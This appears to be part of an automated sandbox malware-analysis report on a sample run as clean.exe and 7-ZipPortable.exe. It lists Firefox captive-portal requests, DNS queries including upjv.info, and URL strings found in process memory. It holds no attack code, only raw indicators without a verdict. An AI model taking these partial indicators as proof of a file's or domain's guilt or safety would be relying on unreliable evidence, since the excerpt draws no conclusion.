                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: firefox.exe, 00000011.00000003.2335055788.000002435C9F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335110994.000002435C97F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
                  Source: firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335483499.000002435C92B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418641540.0000024368481000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: ^application\/(?:.+\+)?json$PWMGR_LOGIN_LAST_USED_DAYSremoveAllUserFacingLoginsRemoving all user facing logins.weave:telemetry:histogrambound onEnabledPrefChangedevtools.jsonview.enabledoptInToExperiment/branch<PWMGR_BLOCKLIST_NUM_SITESPWMGR_NUM_SAVED_PASSWORDSgetAllLoginsWithCallback/<Couldn't decrypt strings: potentiallyVulnerablePasswordhttps://www.facebook.com/https://www.leboncoin.fr/https://www.amazon.co.uk/https://www.wikipedia.org/isPotentiallyVulnerablePasswordDEFAULT_REPLACEMENT_CHARACTERhttps://www.aliexpress.com/ equals www.facebook.com (Facebook)
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
                  Source: firefox.exe, 00000011.00000003.2335055788.000002435C9F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335110994.000002435C97F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
                  Source: firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335483499.000002435C92B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418641540.0000024368481000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
                  Source: firefox.exe, 00000016.00000002.3338371718.00000184C7203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE503000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
                  Source: firefox.exe, 00000016.00000002.3338371718.00000184C7203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE503000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
                  Source: firefox.exe, 00000016.00000002.3338371718.00000184C7203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE503000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
                  Source: firefox.exe, 00000011.00000003.2492956295.000002435E45B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2332689238.000002435E45B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
                  Source: firefox.exe, 00000011.00000003.2492956295.000002435E45B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2332689238.000002435E45B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)
                  Source: global trafficDNS traffic detected: DNS query: upjv.info
                  Source: global trafficDNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
                  Source: global trafficDNS traffic detected: DNS query: detectportal.firefox.com
                  Source: global trafficDNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
                  Source: global trafficDNS traffic detected: DNS query: example.org
                  Source: global trafficDNS traffic detected: DNS query: ipv4only.arpa
                  Source: global trafficDNS traffic detected: DNS query: contile.services.mozilla.com
                  Source: global trafficDNS traffic detected: DNS query: spocs.getpocket.com
                  Source: global trafficDNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
                  Source: global trafficDNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
                  Source: global trafficDNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
                  Source: global trafficDNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
                  Source: global trafficDNS traffic detected: DNS query: shavar.services.mozilla.com
                  Source: global trafficDNS traffic detected: DNS query: push.services.mozilla.com
                  Source: global trafficDNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
                  Source: global trafficDNS traffic detected: DNS query: firefox.settings.services.mozilla.com
                  Source: global trafficDNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
                  Source: global trafficDNS traffic detected: DNS query: www.wikipedia.org
                  Source: global trafficDNS traffic detected: DNS query: www.facebook.com
                  Source: global trafficDNS traffic detected: DNS query: www.youtube.com
                  Source: global trafficDNS traffic detected: DNS query: dyna.wikimedia.org
                  Source: global trafficDNS traffic detected: DNS query: star-mini.c10r.facebook.com
                  Source: global trafficDNS traffic detected: DNS query: youtube-ui.l.google.com
                  Source: global trafficDNS traffic detected: DNS query: www.reddit.com
                  Source: global trafficDNS traffic detected: DNS query: twitter.com
                  Source: global trafficDNS traffic detected: DNS query: reddit.map.fastly.net
                  Source: global trafficDNS traffic detected: DNS query: services.addons.mozilla.org
                  Source: global trafficDNS traffic detected: DNS query: normandy.cdn.mozilla.net
                  Source: global trafficDNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
                  Source: global trafficDNS traffic detected: DNS query: support.mozilla.org
                  Source: global trafficDNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
                  Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Founddate: Mon, 21 Oct 2024 09:39:30 GMTcontent-type: text/html; charset=iso-8859-1x-iplb-request-id: 90D90203:BB96_D5BA2111:0050_67162152_5BDF7:52D1Content-Encoding: gzipAge: 0X-CDN-Cache: MISSX-CDN-Request-ID: 1065748001X-CDN-Pop: bhsTransfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8e 31 0f 82 30 10 85 f7 fe 8a 93 5d 0e 0d e3 a5 83 02 91 04 91 98 32 38 62 5a 53 12 a4 48 8b c6 7f 2f 85 c5 f1 dd fb ee cb a3 4d 72 39 8a 5b 95 c2 49 9c 0b a8 ea 43 91 1f 21 d8 22 e6 a9 c8 10 13 91 ac cd 3e 8c 10 d3 32 e0 8c b4 7b 76 9c b4 6a e4 1c 5c eb 3a c5 e3 28 86 d2 38 c8 cc d4 4b c2 f5 c8 08 17 88 ee 46 7e fd df 8e ff 31 73 62 34 70 a1 15 8c ea 35 29 eb 94 84 fa 5a c0 a7 b1 d0 cf dc c3 73 60 7a 70 ba b5 60 d5 f8 56 63 48 38 78 ef 62 9c 1d 7e 09 fb 01 f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 00adM10]28bZSH/Mr9[IC!">2{vj\:(8KF~1sb4p5)Zs`zp`VcH8xb~|<0
                  Source: firefox.exe, 00000011.00000003.2421599733.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2491259190.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: http://127.0.0.1:
                  Source: firefox.exe, 00000011.00000003.2320326095.000002435C179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2494367583.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
                  Source: firefox.exe, 00000011.00000003.2320326095.000002435C179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2494367583.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
                  Source: firefox.exe, 00000011.00000003.2320326095.000002435C179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2494367583.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
                  Source: firefox.exe, 00000011.00000003.2320326095.000002435C179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2494367583.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                  Source: firefox.exe, 00000011.00000003.2500835652.00000243577D3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
                  Source: firefox.exe, 00000011.00000003.2500835652.00000243577D3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                  Source: firefox.exe, 00000011.00000003.2500835652.00000243577D3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
                  Source: firefox.exe, 00000011.00000003.2495210278.000002435E217000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://detectportal.firefox.com
                  Source: firefox.exe, 00000011.00000003.2495626539.000002435E0AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: http://detectportal.firefox.com/canonical.html
                  Source: firefox.exe, 00000011.00000003.2483973719.000002436370D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2307680554.0000024368997000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
                  Source: firefox.exe, 00000011.00000003.2483973719.000002436370D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
                  Source: firefox.exe, 00000011.00000003.2445488547.00000243650FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2482098631.00000243650FA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://detectportal.firefox.com8
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerUseOfReleaseEventsWarningUse
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://haysoft.org
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://hi.baidu.com/saqirilatuu/item/9438213716f316ebe7bb7a8d
